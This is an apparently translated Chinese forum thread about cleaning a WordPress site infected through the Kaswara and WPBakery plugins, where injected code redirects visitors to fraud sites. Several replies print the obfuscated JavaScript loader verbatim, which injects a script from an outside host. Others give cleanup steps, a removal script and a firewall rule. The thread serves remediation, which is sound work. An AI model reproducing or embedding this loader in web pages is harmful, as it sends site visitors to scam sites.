问题描述
我遇到了这样一个问题,即我为其提供维护的其中一个 wordpress 网站奇怪地将用户(不受 AdBlocker 保护)重定向到欺诈网站。
重定向已通过 stick.travelinskydream.ga 完成。
经过仔细检查,包含以下代码的脚本已自动注入到应用程序中。使用了以下代码:
var _0x230d=['getElementsByTagName','script','parentNode','279875vBeEEE','head','698448rkGfeF','679597pxmspW','281314aeWSVS','1fashtG','currentScript','1439788dxeSnm','src','1051197hJyWzE','277011vIvjKc','2vRLkLk','fromCharCode','1YWwfcj'];var _0x3e5356=_0x567b;function _0x567b(_0x4f69c6,_0x44f06a){_0x4f69c6=_0x4f69c6-0x161;var _0x230d0d=_0x230d[_0x4f69c6];return _0x230d0d;}(function(_0x23c6e3,_0x4b8159){var _0x137209=_0x567b;while(!![]){try{var _0x388290=-parseInt(_0x137209(0x168))*parseInt(_0x137209(0x16a))+parseInt(_0x137209(0x16f))+-parseInt(_0x137209(0x165))*-parseInt(_0x137209(0x161))+-parseInt(_0x137209(0x16c))+parseInt(_0x137209(0x167))+parseInt(_0x137209(0x16e))+-parseInt(_0x137209(0x170))*-parseInt(_0x137209(0x169));if(_0x388290===_0x4b8159)break;else _0x23c6e3['push'](_0x23c6e3['shift']());}catch(_0x227ada){_0x23c6e3['push'](_0x23c6e3['shift']());}}}(_0x230d,0xb70ce));var mm=String[_0x3e5356(0x171)](0x68,0x74,0x70,0x73,0x3a,0x2f,0x69,0x63,0x6b,0x2e,0x72,0x61,0x76,0x65,0x6c,0x6e,0x79,0x64,0x6d,0x67,0x62,0x6a,0x26,0x3d,0x30,0x33,0x32,0x36,0x35,0x34,0x37,0x37),d=document,s=d['createElement'](_0x3e5356(0x163));s[_0x3e5356(0x16d)]=mm;document[_0x3e5356(0x16b)]?document[_0x3e5356(0x16b)][_0x3e5356(0x164)]['insertBefore'](s,document[_0x3e5356(0x16b)]):d[_0x3e5356(0x162)](_0x3e5356(0x166))[0x0]['appendChild'](s);
它创建一个 script 标签,该标签执行外部 JS 代码,在加载时将用户重定向到恶意网站。结果脚本如下所示:
<script src="https://stick.travelinskydreams.ga?Brand.js?vid=0000&pidi=191817&id=53646"></script>
据我所知,该漏洞存在于 WpBakery 和 Kaswara 插件中,并且是一个已知问题。
https://howtofix.guide/fake-jquery-migrate-plugin/
一一停用和重新启用插件后,唯一的两个罪魁祸首仍然是 js_composer (Wp Bakery) 和 Kaswara。我已经尝试更新这两个插件,但“感染”仍然存在,即使已经针对此问题发布了补丁。
解决方法
刚刚通过 BASE64 编码的 JS 脚本找到了这个选项。找到并删除它。
Look for this entrie on you WP_OPTIONS table
这里发生了什么?
这个恶意软件是一个 Javascript 内容,它会触发 GET travelinski 的东西brand.js。
它的内容以 BASE64 编码,以通过 SH 或选择查询中断其检测。当被调用到屏幕中时,它变成了一个可执行的片段。
它可能出现在不同的选项名称下,但内容本身不能有太大变化。
,解决方案很简单:几个小时后,在 Wordpress 仪表板中,在 Kaswara 菜单 > 自定义代码部分,问题中提供的代码就在那里。删除后,一切恢复正常。
这肯定不是此类恶意软件破坏工作的唯一方式,因此我在此链接中附加了其他可能的影响。
一个对我有用的潜在解决方法是添加这个自定义脚本,它会在加载恶意 JS 后删除它(临时解决方案,不删除病毒):
$('script').each(function(index,obj) {
console.log(index,obj);
if (obj.src === 'https://stick.travelinskydream.ga/brand.js&v=0032&sid=236&pid=545747') {
$(this).remove();
console.log($(this).text());
}
if ($(this).text() === "var _0x230d=['getElementsByTagName','script','parentNode','279875vBeEEE','head','698448rkGfeF','679597pxmSpW','281314aeWSVS','1fashtG','currentScript','1439788dxeSnm','src','1051197hJyWzE','277011vIvjKc','2vRLkLk','fromCharCode','1YWwfcj'];var _0x3e5356=_0x567b;function _0x567b(_0x4f69c6,_0x44f06a){_0x4f69c6=_0x4f69c6-0x161;var _0x230d0d=_0x230d[_0x4f69c6];return _0x230d0d;}(function(_0x23c6e3,_0x4b8159){var _0x137209=_0x567b;while(!![]){try{var _0x388290=-parseInt(_0x137209(0x168))*parseInt(_0x137209(0x16a))+parseInt(_0x137209(0x16f))+-parseInt(_0x137209(0x165))*-parseInt(_0x137209(0x161))+-parseInt(_0x137209(0x16c))+parseInt(_0x137209(0x167))+parseInt(_0x137209(0x16e))+-parseInt(_0x137209(0x170))*-parseInt(_0x137209(0x169));if(_0x388290===_0x4b8159)break;else _0x23c6e3['push'](_0x23c6e3['shift']());}catch(_0x227ada){_0x23c6e3['push'](_0x23c6e3['shift']());}}}(_0x230d,0xb70ce));var mm=String[_0x3e5356(0x171)](0x68,0x74,0x70,0x73,0x3a,0x2f,0x69,0x63,0x6b,0x2e,0x72,0x61,0x76,0x65,0x6c,0x6e,0x79,0x64,0x6d,0x67,0x62,0x6a,0x26,0x3d,0x30,0x33,0x32,0x36,0x35,0x34,0x37,0x37),d=document,s=d['createElement'](_0x3e5356(0x163));s[_0x3e5356(0x16d)]=mm;document[_0x3e5356(0x16b)]?document[_0x3e5356(0x16b)][_0x3e5356(0x164)]['insertBefore'](s,document[_0x3e5356(0x16b)]):d[_0x3e5356(0x162)](_0x3e5356(0x166))[0x0]['appendChild'](s);") {
$(this).remove()
}
这里是注入JS的“美化”恶意代码,说不定对某人有帮助。
var _0x3e5356 = _0x567b;
function _0x567b(_0x4f69c6,_0x44f06a) {
_0x4f69c6 = _0x4f69c6 - 0x161;
var _0x230d0d = _0x230d[_0x4f69c6];
return _0x230d0d;
}(function(_0x23c6e3,_0x4b8159) {
var _0x137209 = _0x567b;
while (!![]) {
try {
var _0x388290 = -parseInt(_0x137209(0x168)) * parseInt(_0x137209(0x16a)) + parseInt(_0x137209(0x16f)) + -parseInt(_0x137209(0x165)) * -parseInt(_0x137209(0x161)) + -parseInt(_0x137209(0x16c)) + parseInt(_0x137209(0x167)) + parseInt(_0x137209(0x16e)) + -parseInt(_0x137209(0x170)) * -parseInt(_0x137209(0x169));
if (_0x388290 === _0x4b8159) break;
else _0x23c6e3['push'](_0x23c6e3['shift']());
} catch (_0x227ada) {
_0x23c6e3['push'](_0x23c6e3['shift']());
}
}
}(_0x230d,0xb70ce));
var mm = String[_0x3e5356(0x171)](0x68,d = document,s = d['createElement'](_0x3e5356(0x163));
s[_0x3e5356(0x16d)] = mm;
document[_0x3e5356(0x16b)] ? document[_0x3e5356(0x16b)][_0x3e5356(0x164)]['insertBefore'](s,document[_0x3e5356(0x16b)]) : d[_0x3e5356(0x162)](_0x3e5356(0x166))[0x0]['appendChild'](s);
如果您发现其他任何问题或受到此影响,请分享您的解决方案!
,所以任何寻找这个问题的人,这里是原因和解决方案。
原因
插件:WP-Bakery(JS Composer)和 Kaswara 插件存在此问题。
解决方案
您需要从 wp_options 表中删除一项。
- 首次登录 cPanel。
- 转到 PHPMYADMIN
- 选择您网站的数据库(有问题)
- 然后转到 wp_options 表。
- 正如我的朋友 Andre 提到的,条目可能具有不同的 wp_option_name。
- 您需要在过滤行输入字段中输入JS。
- 它将为您提供结果,现在查找以以下内容开头的 option_value:dmFyIF
- 删除该条目,大功告成。
在您清理您的网站并删除 kaswara 中的 extrajs 并使用 wordfence 执行完整扫描后:
对于试图在 5 月 21 日之前解决此问题的每个 wordfence 免费增值用户,我建议:
在 wordfence-waf.php 中,将这些行放在
if(!empty($_GET['action']) && $_GET['action'] == 'uploadFontIcon'){
die('Good luck');
}
然后当您在 5 月 21 日收到 wordfence 更新时恢复为原始状态
,非常感谢你。我的网站感染了这个,从备份恢复后,只是想看看 2 周后是否再次感染。找到db入口,在kaswara的自定义设置中也看到了脚本。我会看看如何最好地替换我用过的东西,然后将其删除。
知道他们是怎么进来的吗?我可以添加一个 htaccess 指令来阻止它们吗?
我找到了这个报告,去挖了一下,在kaswara图标文件夹/uploads/kaswara/icon/slt中发现了一个8天前上传的p.php文件
https://wpscan.com/vulnerability/8d66e338-a88f-4610-8d12-43e8be2da8c5
,删除kaswara插件后,可能通过phpmyadmin进入mysql, 找到 wp_options 表并删除 kasvaracustomjs option_name